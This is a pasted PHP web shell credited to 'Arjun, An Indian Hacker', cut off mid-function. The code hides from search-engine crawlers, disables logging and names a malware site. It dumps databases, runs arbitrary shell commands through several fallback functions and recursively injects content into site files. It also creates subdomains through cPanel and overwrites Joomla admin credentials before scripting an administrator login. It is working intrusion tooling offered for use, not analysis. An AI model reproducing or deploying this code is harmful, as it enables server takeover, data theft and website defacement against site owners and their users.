· 10 years ago · Mar 16, 2016, 05:15 PM
1
2<?php
3//========================================//
4//========+++Dhanush+++==========//
5//========================================//
6//====+++Coded By Arjun+++===//
7//========================================//
8//=====+++An Indian Hacker+++=====//
9//========================================//
10//====Magh-2070/Feb-2014====//
11
12// Set Username & Password
13$user = "Dhanush";
14$pass = "Dhanush";
15
16$malsite = "http://jolygoestobeinvester.ru/"; // Malware Site
17$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
18$bgimage = 'http://www.datadiary.com/UserFiles/Wallpaper/holy/Org201204050407061198000.jpg'; // Background Image
19$my_shell_style = "orange"; // "phizo", "dhanush", "404", "orange"
20
21$curfile = __FILE__;
22
23?>
24
25<?php
26@set_magic_quotes_runtime(0);
27@ini_set('error_log',NULL);
28@ini_set('log_errors',0);
29ob_start();
30error_reporting(0);
31@set_time_limit(0);
32@ini_set('max_execution_time',0);
33@ini_set('output_buffering',0);
34
35if(!empty($_SERVER['HTTP_USER_AGENT']))
36{
37 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
38 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
39 header('HTTP/1.0 404 Not Found');
40 exit; }
41}
42// Dump Database
43if($_GET["action"] == "dumpDB")
44{
45 $self=$_SERVER["PHP_SELF"];
46 if(isset($_COOKIE['dbserver']))
47 {
48 $date = date("Y-m-d");
49 $dbserver = $_COOKIE["dbserver"];
50 $dbuser = $_COOKIE["dbuser"];
51 $dbpass = $_COOKIE["dbpass"];
52 $dbname = $_GET['dbname'];
53 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
54
55 $file = "Dump-$dbname-$date";
56
57 $file="Dump-$dbname-$date.sql";
58 $fp = fopen($file,"w");
59
60 function write($data)
61 {
62 global $fp;
63
64 fwrite($fp,$data);
65
66 }
67 mysql_connect ($dbserver, $dbuser, $dbpass);
68 mysql_select_db($dbname);
69 $tables = mysql_query ("SHOW TABLES");
70 while ($i = mysql_fetch_array($tables))
71 {
72 $i = $i['Tables_in_'.$dbname];
73 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
74 write($create['Create Table'].";");
75 $sql = mysql_query ("SELECT * FROM ".$i);
76 if (mysql_num_rows($sql)) {
77 while ($row = mysql_fetch_row($sql)) {
78 foreach ($row as $j => $k) {
79 $row[$j] = "'".mysql_escape_string($k)."'";
80 }
81 write("INSERT INTO $i VALUES(".implode(",", $row).");");
82 }
83 }
84 }
85
86 fclose ($fp);
87
88 header("Content-Disposition: attachment; filename=" . $file);
89 header("Content-Type: application/download");
90 header("Content-Length: " . filesize($file));
91 flush();
92
93 $fp = fopen($file, "r");
94 while (!feof($fp))
95 {
96 echo fread($fp, 65536);
97 flush();
98 }
99 fclose($fp);
100 }
101}
102$hs_dhanush = "<style type=\"text/css\">
103<!--
104
105body,td,th {
106 color: #FF0000;
107 font-size: 14px;
108}
109tr:hover.lines
110{
111background-color:#000000;}
112tr.lines
113{
114background-color:#0C0C0C;}
115div.fixedbox
116{
117 width:70%;
118 padding:8px;
119 background-color:#171717;
120 position:fixed;
121 left:15%;
122 top:120px;
123 box-shadow: 0px 0px 10px #000;
124 -moz-border-radius: 5px 5px 5px 5px;
125 -webkit-border-radius: 5px 5px 5px 5px;
126 border-radius: 5px 5px 5px 5px;
127}
128div.logindiv{
129background-color:#171717; }
130table.btmtbl{
131border-collapse:collapse;
132border-color:red;}
133td.btmtbl{
134border-color:red;}
135input.but {
136 background-color:#000000;
137 color:#FF0000;
138 border : 1px solid #1B1B1B;
139}
140a:link {
141 color: #00FF00;
142 text-decoration:none;
143 font-weight:500;
144}
145a:hover {
146 color:#00FF00;
147 text-decoration:underline;
148}
149font.txt
150{
151 color: #00FF00;
152 text-decoration:none;
153 font-size:14px;
154}
155font.om
156{
157 color: #00FF00;
158}
159/* Write Permission Font */
160font.wrtperm
161{
162 color:#00FF00;
163}
164/* Read Permission Font */
165font.readperm
166{
167 color:#FF0000;
168}
169/* No Permission Font */
170font.noperm
171{
172 color:#FFFFFF;
173}
174font.mainmenu
175{
176 color:#FF0000;
177 text-decoration:none;
178 font-size:14px;
179}
180a:visited {
181 color: #FF0000;
182}
183input.box
184{
185 background-color:#0C0C0C;
186 color: lime;
187 border : 1px solid #1B1B1B;
188 -moz-border-radius:6px;
189 width:400;
190 border-radius:6px;
191}
192input.sbox
193{
194 background-color:#0C0C0C;
195 color: lime;
196 border : 1px solid #1B1B1B;
197 -moz-border-radius:6px;
198 width:180;
199 border-radius:6px;
200}
201select.sbox
202{
203 background-color:#0C0C0C;
204 color: lime;
205 border : 1px solid #1B1B1B;
206 -moz-border-radius:6px;
207 width:180;
208 border-radius:6px;
209}
210select.box
211{
212 background-color:#0C0C0C;
213 color: lime;
214 border : 1px solid #1B1B1B;
215 -moz-border-radius:6px;
216 width:400;
217 border-radius:6px;
218}
219
220textarea.box
221{
222 border : 3px solid #111;
223 background-color:#161616;
224 color : lime;
225 margin-top: 10px;
226 -moz-border-radius:7px;
227 border-radius:7px;
228}
229body {
230 background-color:#000000;
231}
232.myphp table
233{
234 width:100%;
235 padding:18px 10px;
236 border : 1px solid #1B1B1B;
237}
238.myphp td
239{
240 background:#111111;
241 color:#00ff00;
242 padding:6px 8px;
243 border-bottom:1px solid #222222;
244 font-size:14px;
245}
246.myphp th, th
247{
248 background:#181818;
249
250}
251-->
252</style>";
253$hs_orange = "<style type=\"text/css\">
254<!--
255body {
256background-image:url($bgimage);
257background-color:#000000;
258background-repeat:no-repeat;
259background-attachment:fixed;
260}
261/* Shell Title Color*/
262span.headtitle
263{
264 color:#F90;
265 text-decoration:none;
266
267}
268/* Login Page div*/
269div.logindiv
270{
271background-color:#000000;
272opacity:0.5;
273width:50%;
274border-radius:7px;
275margin-top:150px;
276-moz-border-radius:25px;
277height:410px;
278border: solid 1px
279#878787;
280border-radius: 13px;
281box-shadow: 0px 0px 10px
282black;
283}
284div.fixedbox
285{
286 width:70%;
287 padding:8px;
288 background-color:#171717;
289 position:fixed;
290 left:15%;
291 top:120px;
292 box-shadow: 0px 0px 35px #000;
293 -moz-border-radius: 5px 5px 5px 5px;
294 -webkit-border-radius: 5px 5px 5px 5px;
295 border-radius: 5px 5px 5px 5px;
296}
297table.tbl
298{
299border:#F90;
300}
301body,td,th {
302 color: #F90;
303 font-size: 14px;
304}
305table.btmtbl{
306border-collapse:collapse;
307border-color:#F90;}
308td.btmtbl{
309border-color:#F90;}
310/* Present Working Directory Table */
311table.pwdtbl
312{
313 border-color:#F90;
314}
315/* File List Hover */
316tr.lines:hover
317{
318background-color:#666666;
319opacity:0.5;
320}
321/* File List */
322tr.lines
323{
324 height:12px;
325}
326/* Functions Config */
327td.myfun
328{
329 display: inline;
330 padding: 1px;
331 margin: 5px;
332 border: 1px solid #AAA;
333 border-radius: 4px;
334 -moz-border-radius:4px;
335 box-shadow: 0px 0px 2px #000;
336}
337/* Functions Config Hover */
338td.myfun:hover
339{
340 box-shadow: 0px 0px 2px #FF0;
341}
342/* Button Config */
343input.but {
344 border: 1px solid #F90;
345 background-color:#000000;
346 color:#FFFFFF;
347
348 box-shadow: 0px 0px 2px #F90 inset;
349}
350/* Link Config */
351a:link {
352 color: #F90;
353 text-decoration:none;
354 font-weight:500;
355}
356/* Link Config Hover */
357a:hover {
358 color:#666666;
359 text-decoration:underline;
360}
361/* Link Config Visited */
362a:visited {
363 color: #F90;
364 text-decoration:none;
365}
366/* font Config */
367font.txt
368{
369 color: #FFFFFF;
370 text-decoration:none;
371 font-size:13px;
372}
373font.om
374{
375 color: #F90;
376}
377/* Function Font Config */
378font.fun
379{
380 color:#F90;
381}
382/* Write Permission Font */
383font.wrtperm
384{
385 color:#F90;
386}
387/* Read Permission Font */
388font.readperm
389{
390 color:#FF0000;
391}
392/* No Permission Font */
393font.noperm
394{
395 color:#FFFFFF;
396}
397/* Upload File Config */
398input.upld
399{
400 width:400;
401 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
402}
403/* Input TextBox Config */
404input.box
405{
406 width:400;
407 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
408}
409/* Input Small TextBox Config */
410input.sbox
411{
412 width:180;
413 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
414}
415/* Input Small SelectBox Config */
416select.sbox
417{
418 width:180;
419 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
420}
421/* Input SelectBox Config */
422select.box
423{
424 width:400;
425 margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
426}
427/* TextArea Config */
428textarea.box
429{
430 border: 1px solid #F90;
431 color:#FFFFFF;
432 margin-top: 10px;
433 box-shadow: 0px 0px 3px #F90 inset;
434 background-color: #000000;
435 opacity: 0.50;
436}
437.myphp table
438{
439 width:100%;
440 padding:18px 10px;
441 border: 1px solid #F90;
442}
443.myphp td
444{
445 padding:6px 8px;
446 border-bottom:1px solid #222222;
447 font-size:14x;
448}
449
450-->
451</style>";
452$hs_404 = "<style type=\"text/css\">
453<!--
454span.headtitle
455{
456 color:#00ff00;
457 text-decoration:none;
458
459}
460body, th{
461 color:#00ff00;
462 background-color:#000000;
463 font-size: 13px;
464}
465div.logindiv{
466background-color:#171717; }
467div.fixedbox
468{
469 width:70%;
470 padding:8px;
471 background-color:#171717;
472 position:fixed;
473 left:15%;
474 top:120px;
475 box-shadow: 0px 0px 35px #000;
476 -moz-border-radius: 5px 5px 5px 5px;
477 -webkit-border-radius: 5px 5px 5px 5px;
478 border-radius: 5px 5px 5px 5px;
479}
480table.tbl
481{
482border:#00ff00;
483}
484table.btmtbl{
485border-collapse:collapse;
486border-color:lime;}
487td.btmtbl{
488border-color:lime;}
489tr.lines:hover
490{
491 background-color:#5e5e5e;
492}
493tr.lines
494{
495 background-color:#000000;
496 height:12px;
497 font-size: 14px;
498}
499td.myfun
500{
501 border-style:none;
502 margin: 5px;
503}
504td.myfun:hover
505{
506 box-shadow: 0px 0px 2px #FF0;
507}
508input.but {
509 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
510}
511a:link {
512 color: #00ff00;
513 text-decoration:none;
514 font-weight:500;
515}
516a:visited
517{
518color:#00ff00;
519}
520a:hover {
521 background:#ff0000;
522}
523font.mainmenu
524{
525 font-size:14px;
526}
527font.txt
528{
529 color: #FFFFFF;
530 text-decoration:none;
531 font-size:13px;
532}
533font.om
534{
535 color:#00FF00;
536}
537font.fun
538{
539
540 color:#00ff00;
541}
542font.wrtperm
543{
544 color:#00ff00;
545}
546font.readperm
547{
548 color:#FF0000;
549}
550font.noperm
551{
552 color:#FFFFFF;
553}
554input.upld
555{
556 width:400;
557 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
558}
559input.box
560{
561 width:400;
562 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
563}
564input.sbox
565{
566 width:180;
567 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
568}
569select.sbox
570{
571 width:180;
572 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
573}
574select.box
575{
576 width:400;
577 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
578}
579
580textarea.box
581{
582 margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
583}
584.myphp table
585{
586 width:100%;
587 padding:18px 10px;
588 border : 1px solid #00FF00;
589}
590.myphp td
591{
592 background:#111111;
593 color:#00ff00;
594 padding:6px 8px;
595 border-bottom:1px solid #222222;
596 font-size:13px;
597}
598.myphp th,
599{
600 background:#181818;
601
602}
603-->
604</style>";
605$hs_phizo = "<style type=\"text/css\">
606<!--
607span.headtitle
608{
609 color:#000000;
610 text-decoration:none;
611
612}
613div.logindiv
614{
615background-color:#CCC;
616width:50%;
617border-radius:7px;
618margin-top:150px;
619-moz-border-radius:25px;
620height:410px;
621border: solid 1px
622#878787;
623border-radius: 13px;
624box-shadow: 0px 0px 10px
625black;
626}
627div.fixedbox
628{
629 width:70%;
630 padding:8px;
631 background-color:#999999;
632 position:fixed;
633 left:15%;
634 top:120px;
635 box-shadow: 0px 0px 10px #000;
636 -moz-border-radius: 5px 5px 5px 5px;
637 -webkit-border-radius: 5px 5px 5px 5px;
638 border-radius: 5px 5px 5px 5px;
639}
640body,td,th {
641 color: #000000;
642 font-size: 14px;
643}
644table.pwdtbl
645{
646 width:95%;
647 background-color:#999999;
648 -moz-border-radius:25px;
649 border-radius:25px;
650}
651table#maintable
652{
653 background-color: #999999;
654 border: solid 1px #878787;
655 border-radius: 13px;
656 box-shadow: 0px 0px 10px #000;
657 width: 100%;
658 margin: auto;
659 height: auto;
660}
661tr.lines:hover
662{
663background-color:#C0C0C0;
664}
665tr.lines
666{
667 background-color:#999999;
668 height:12px;
669}
670td.myfun
671{
672 display: inline;
673 padding: 1px;
674 margin: 5px;
675 border: 1px solid #AAA;
676 border-radius: 4px;
677 -moz-border-radius:4px;
678 box-shadow: 0px 0px 2px #000;
679}
680td.myfun:hover
681{
682 box-shadow: 0px 0px 2px #FF0;
683}
684input.but {
685 border: 1px solid #787878;
686 border-radius: 5px;
687 box-shadow: 0px 0px 2px #000 inset;
688}
689a:link,a:visited {
690 color: #000000;
691 text-decoration:none;
692 font-weight:500;
693}
694a:hover {
695 color:#666666;
696 text-decoration:underline;
697}
698font.mainmenu
699{
700 display: inline;
701 padding: 1px;
702 border: 1px solid #AAA;
703 border-radius: 4px;
704 box-shadow: 0px 0px 2px #000;
705 text-decoration: none;
706 font-weight: bold;
707 color: #696969;
708}
709font.txt
710{
711 color: #000000;
712 text-decoration:none;
713 font-size:13px;
714}
715font.om
716{
717 color:#000000;
718}
719font.fun
720{
721 color: #696969;
722}
723font.wrtperm
724{
725 color:#000000;
726}
727font.readperm
728{
729 color:#000000;
730}
731font.noperm
732{
733 color:#000000;
734}
735input.upld
736{
737 border: 1px solid #787878;
738 box-shadow: 0px 0px 3px #000 inset;
739 background-color: #AAA;
740 font-family: Courier;
741 -moz-border-radius:6px;
742 width:400;
743 border-radius:6px;
744}
745input.box
746{
747 border: 1px solid #787878;
748 box-shadow: 0px 0px 3px #000 inset;
749 background-color: #AAA;
750 font-family: Courier;
751 -moz-border-radius:6px;
752 width:400;
753 border-radius:6px;
754}
755input.sbox
756{
757 border: 1px solid #787878;
758 box-shadow: 0px 0px 3px #000 inset;
759 background-color: #AAA;
760 font-family: Courier;
761 -moz-border-radius:6px;
762 width:180;
763 border-radius:6px;
764}
765select.sbox
766{
767 border: 1px solid #787878;
768 box-shadow: 0px 0px 3px #000 inset;
769 background-color: #AAA;
770 font-family: Courier;
771 -moz-border-radius:6px;
772 width:180;
773 border-radius:6px;
774}
775select.box
776{
777 border: 1px solid #787878;
778 box-shadow: 0px 0px 3px #000 inset;
779 background-color: #AAA;
780 font-family: Courier;
781 -moz-border-radius:6px;
782 width:400;
783 border-radius:6px;
784}
785
786textarea.box
787{
788 border: 1px solid #787878;
789 margin-top: 10px;
790 -moz-border-radius:7px;
791 box-shadow: 0px 0px 3px #000 inset;
792 background-color: #AAA;
793}
794textarea:focus
795{
796 box-shadow: 0px 0px 3px #FF0 inset;
797}
798body {
799 background-color:#C0C0C0;
800}
801.myphp table
802{
803 width:100%;
804 padding:18px 10px;
805 border : 1px solid #1B1B1B;
806}
807.myphp td
808{
809 /*background:#111111; */
810 color:#000000;
811 padding:6px 8px;
812 border-bottom:1px solid #222222;
813 font-size:14px;
814}
815.myphp th, th
816{
817 background:#999999;
818
819}
820-->
821</style>";
822
823 if($_COOKIE['style']=='dhanush')
824 $shellstyle = $hs_dhanush;
825 elseif($_COOKIE['style']=='404')
826 $shellstyle = $hs_404;
827 elseif($_COOKIE['style']=='orange')
828 $shellstyle = $hs_orange;
829 elseif($_COOKIE['style']=='phizo')
830 $shellstyle = $hs_phizo;
831 else
832 {
833 if($my_shell_style == "phizo")
834 $shellstyle = $hs_phizo;
835 elseif($my_shell_style=='dhanush')
836 $shellstyle = $hs_dhanush;
837 elseif($my_shell_style=='404')
838 $shellstyle = $hs_404;
839 elseif($my_shell_style=='orange')
840 $shellstyle = $hs_orange;
841 }
842if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
843{
844 $self=$_SERVER["PHP_SELF"];
845 $os = "N/D";
846 $bdmessage = null;
847 $dir = getcwd();
848
849 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
850 $path=explode('/',$url);
851 $curr_url =str_replace($path[count($path)-1],'',$url);
852
853 if(strtolower(substr(PHP_OS,0,3)) == "win")
854 {
855 $SEPARATOR = '\\';
856 $os = "Windows";
857 $directorysperator="\\";
858 }
859 else
860 {
861 $os = "Linux";
862 $directorysperator='/';
863 }
864 function Trail($d,$directsperator)
865 {
866 $d=explode($directsperator,$d);
867 array_pop($d);
868 array_pop($d);
869 $str=implode($d,$directsperator);
870 return $str;
871 }
872
873 function randomt()
874 {
875 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
876 srand((double)microtime()*1000000);
877 $i = 0;
878 $pass = '' ;
879
880 while ($i <= 7)
881 {
882 $num = rand() % 33;
883 $tmp = substr($chars, $num, 1);
884 $pass = $pass . $tmp;
885 $i++;
886 }
887 return $pass;
888 }
889 function make_subdomain($subDomain,$cPanelUser,$cPanelPass,$subindex)
890 {
891 $rootDomain = $_SERVER['SERVER_NAME'];
892 $buildRequest = "/frontend/x3/subdomain/doadddomain.html?rootdomain=" . $rootDomain . "&domain=" . $subDomain . "&dir=public_html/" . $subDomain;
893
894 $openSocket = fsockopen('localhost',2082);
895 if(!$openSocket) {
896 return "Socket error<BR>";
897 }
898
899 $authString = $cPanelUser . ":" . $cPanelPass;
900 $authPass = base64_encode($authString);
901 $buildHeaders = "GET " . $buildRequest ."\r\n";
902 $buildHeaders .= "HTTP/1.0\r\n";
903 $buildHeaders .= "Host:localhost\r\n";
904 $buildHeaders .= "Authorization: Basic " . $authPass . "\r\n";
905 $buildHeaders .= "\r\n";
906
907 fputs($openSocket, $buildHeaders);
908 while(!feof($openSocket)) {
909 fgets($openSocket,128);
910 }
911 fclose($openSocket);
912 // create index file
913 @chdir($subDomain);
914 $file5 = fopen("index.html","w");
915 fputs($file5,$subindex);
916 fclose($file5);
917 $newDomain = "http://" . $subDomain . "." . $rootDomain . "/<BR>";
918
919 return $newDomain;
920}
921
922 // Database functions
923 function listdatabase()
924 {
925 $self=$_SERVER["PHP_SELF"];
926 ?>
927 <br>
928 <form>
929 <table>
930 <tr>
931 <td><input type="text" class="box" name="dbname"></td>
932 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
933 </tr>
934 </table>
935 </form>
936 <br>
937 <?php
938 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
939 $result = mysql_query("SHOW DATABASE");
940 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
941
942 $pDB = mysql_list_dbs( $mysqlHandle );
943 $num = mysql_num_rows( $pDB );
944 for( $i = 0; $i < $num; $i++ )
945 {
946 $dbname = mysql_dbname( $pDB, $i );
947 mysql_select_db($dbname,$mysqlHandle);
948 $result = mysql_query("SHOW TABLES");
949 $num_of_tables = mysql_num_rows($result);
950 echo "<tr>\n";
951 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
952 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
953 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
954 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
955 echo "</tr>\n";
956 }
957 echo "</table>\n";
958 mysql_close($mysqlHandle);
959 }
960
961 function listtable()
962 {
963 $self=$_SERVER["PHP_SELF"];
964 $dbserver = $_COOKIE["dbserver"];
965 $dbuser = $_COOKIE["dbuser"];
966 $dbpass = $_COOKIE["dbpass"];
967 $dbname = $_GET['dbname'];
968 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
969 ?>
970 <br><br>
971 <form>
972 <table>
973
974 <tr>
975 <td><input type="text" class="box" name="tablename"></td>
976 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
977 </tr>
978 </table>
979
980 <br>
981 <form>
982 <table>
983 <tr>
984 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
985 </tr>
986 <tr>
987 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
988 </tr>
989 </table>
990 </form>
991
992 <?php
993
994 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
995
996 mysql_select_db($dbname);
997 $pTable = mysql_list_tables( $dbname );
998
999 if( $pTable == 0 ) {
1000 $msg = mysql_error();
1001 echo "<h3>Error : $msg</h3><p>\n";
1002 return;
1003 }
1004 $num = mysql_num_rows( $pTable );
1005
1006 echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
1007
1008 for( $i = 0; $i < $num; $i++ )
1009 {
1010 $tablename = mysql_tablename( $pTable, $i );
1011 $result = mysql_query("select * from $tablename");
1012 $num_rows = mysql_num_rows($result);
1013 echo "<tr>\n";
1014 echo "<td>\n";
1015 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
1016 echo "</td>\n";
1017 echo "<td>\n";
1018 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
1019 echo "</td>\n";
1020 echo "<td>\n";
1021 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
1022 echo "</td>\n";
1023 echo "<td>\n";
1024 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
1025 echo "</td>\n";
1026 echo "<td>\n";
1027 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
1028 echo "</td>\n";
1029 echo "</tr>\n";
1030 }
1031
1032 echo "</table></form>";
1033 mysql_close($mysqlHandle);
1034 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
1035 }
1036
1037
1038 function paramexe($n, $v)
1039 {
1040 $v = trim($v);
1041 if($v)
1042 {
1043 echo '<span><font size=3>' . $n . ': </font></span>';
1044 if(strpos($v, "\n") === false)
1045 echo '<font size=2>' . $v . '</font><br>';
1046 else
1047 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
1048 }
1049 }
1050 function injectdir($dir,$filetype,$mode,$lolinject)
1051 {
1052 if (is_dir($dir))
1053 {
1054 $objects = scandir($dir);
1055 foreach ($objects as $object)
1056 {
1057 if ($object != '.' && $object != '..')
1058 {
1059 if (is_dir($dir . '/' . $object))
1060 {
1061 // if we find a directory, do a recursive call
1062 injectdir($dir . '/' . $object,$filetype,$mode,$lolinject);
1063 }
1064 else
1065 {
1066 $file_parts = pathinfo($object);
1067 if($file_parts['extension'] == $filetype)
1068 {
1069 if(($dir . '/' . $object) == getcwd().$_SERVER['SCRIPT_NAME'])
1070 continue;
1071 $fp=fopen($dir . '/' . $object,$mode);
1072 if (fputs($fp,$lolinject))
1073 echo '<br><font class=txt >'.$dir . '/' . $object.' was injected<br></font>';
1074 else
1075 echo '<font >failed to inject '.$dir . '/' . $object.'<BR></font>';
1076 }
1077 }
1078 }
1079 }
1080 }
1081 }
1082 function rrmdir($dir)
1083 {
1084 if (is_dir($dir)) // ensures that we actually have a directory
1085 {
1086 $objects = scandir($dir); // gets all files and folders inside
1087 foreach ($objects as $object)
1088 {
1089 if ($object != '.' && $object != '..')
1090 {
1091 if (is_dir($dir . '/' . $object))
1092 {
1093 // if we find a directory, do a recursive call
1094 rrmdir($dir . '/' . $object);
1095 }
1096 else
1097 {
1098 // if we find a file, simply delete it
1099 unlink($dir . '/' . $object);
1100 }
1101 }
1102 }
1103 // the original directory is now empty, so delete it
1104 rmdir($dir);
1105 }
1106 }
1107
1108 function which($pr)
1109 {
1110 $path = execmd("which $pr");
1111 if(!empty($path))
1112 return trim($path);
1113 else
1114 return trim($pr);
1115 }
1116
1117 function magicboom($text)
1118 {
1119 if (!get_magic_quotes_gpc())
1120 return $text;
1121 return stripslashes($text);
1122 }
1123 function perlshell($command)
1124 {
1125 $perl=new perl();
1126 ob_start();
1127 $perl->eval("system('".$command."')");
1128 $exec=ob_get_contents();
1129 ob_end_clean();
1130 return $exec;
1131}
1132function execmd($cmd,$d_functions="None")
1133{
1134 if($d_functions=="None")
1135 {
1136 $ret=passthru($cmd);
1137 return $ret;
1138 }
1139 $funcs=array("shell_exec","exec","passthru","system","popen","perl_func");
1140 $d_functions=str_replace(" ","",$d_functions);
1141 $dis_funcs=explode(",",$d_functions);
1142 foreach($funcs as $safe)
1143 {
1144 if(!in_array($safe,$dis_funcs))
1145 {
1146 if($safe=="exec")
1147 {
1148 $ret=@exec($cmd);
1149 $ret=join("\n",$ret);
1150 return $ret;
1151 }
1152 elseif($safe=="system")
1153 {
1154 $ret=@system($cmd);
1155 return $ret;
1156 }
1157 elseif($safe=="passthru")
1158 {
1159 $ret=@passthru($cmd);
1160 return $ret;
1161 }
1162 elseif($safe=="shell_exec")
1163 {
1164 $ret=@shell_exec($cmd);
1165 return $ret;
1166 }
1167 elseif($safe=="popen")
1168 {
1169 $ret=@popen("$cmd",'r');
1170 if(is_resource($ret))
1171 {
1172 while(@!feof($ret))
1173 $read.=@fgets($ret);
1174 @pclose($ret);
1175 return $read;
1176 }
1177 return -1;
1178 }
1179 elseif($safe="proc_open")
1180 {
1181 $cmdpipe=array(
1182 0=>array('pipe','r'),
1183 1=>array('pipe','w')
1184 );
1185 $resource=@proc_open($cmd,$cmdpipe,$pipes);
1186 if(@is_resource($resource))
1187 {
1188 while(@!feof($pipes[1]))
1189 $ret.=@fgets($pipes[1]);
1190 @fclose($pipes[1]);
1191 @proc_close($resource);
1192 return $ret;
1193 }
1194 return -1;
1195 }
1196 elseif($safe=="perl_func")
1197 {
1198 $ret=perlshell($command);
1199 return $ret;
1200 }
1201 }
1202 }
1203 return -1;
1204}
1205 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
1206 {
1207 $ar0=explode($marqueurDebutLien, $text);
1208 $ar1=explode($marqueurFinLien, $ar0[$i]);
1209 return trim($ar1[0]);
1210 }
1211 function changeindexjo($conf,$h,$site)
1212 {
1213 global $defcount;
1214 $dol = '$';
1215 $sitename = entre2v2($conf,$dol."sitename = '","';");
1216 $username = entre2v2($conf,$dol."user = '","';");
1217 $password = entre2v2($conf,$dol."password = '","';");
1218 $dbname = entre2v2($conf,$dol."db = '","';");
1219 $prefix = entre2v2($conf,$dol."dbprefix = '","';");
1220 $localhost = entre2v2($conf,$dol."host = '","';");
1221
1222 $co=randomt();
1223
1224 $link=mysql_connect($localhost,$username,$password) ;
1225 mysql_select_db($dbname,$link);
1226
1227 $tryChaningInfo = mysql_query("UPDATE ".$prefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
1228
1229 $req =mysql_query("SELECT * from `".$prefix."extensions` ");
1230
1231 if ( $req )
1232 {
1233 $req =mysql_query("SELECT * from `".$prefix."template_styles` WHERE client_id='0' and home='1'");
1234 $data = mysql_fetch_array($req);
1235 $template_name=$data["template"];
1236
1237 $req =mysql_query("SELECT * from `".$prefix."extensions` WHERE name='".$template_name."'");
1238 $data = mysql_fetch_array($req);
1239 $template_id=$data["extension_id"];
1240
1241 $url2 = $site_url =$site."/administrator/index.php";
1242
1243 $ch = curl_init();
1244 curl_setopt($ch, CURLOPT_URL, $url2);
1245 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1246 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1247 curl_setopt($ch, CURLOPT_HEADER, 1);
1248 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1249 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1250 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1251
1252 $buffer = curl_exec($ch);
1253
1254 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
1255 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
1256
1257 $url2=$site_url."/index.php";
1258 $ch = curl_init();
1259 curl_setopt($ch, CURLOPT_URL, $url2);
1260 curl_setopt($ch, CURLOPT_POST, 1);
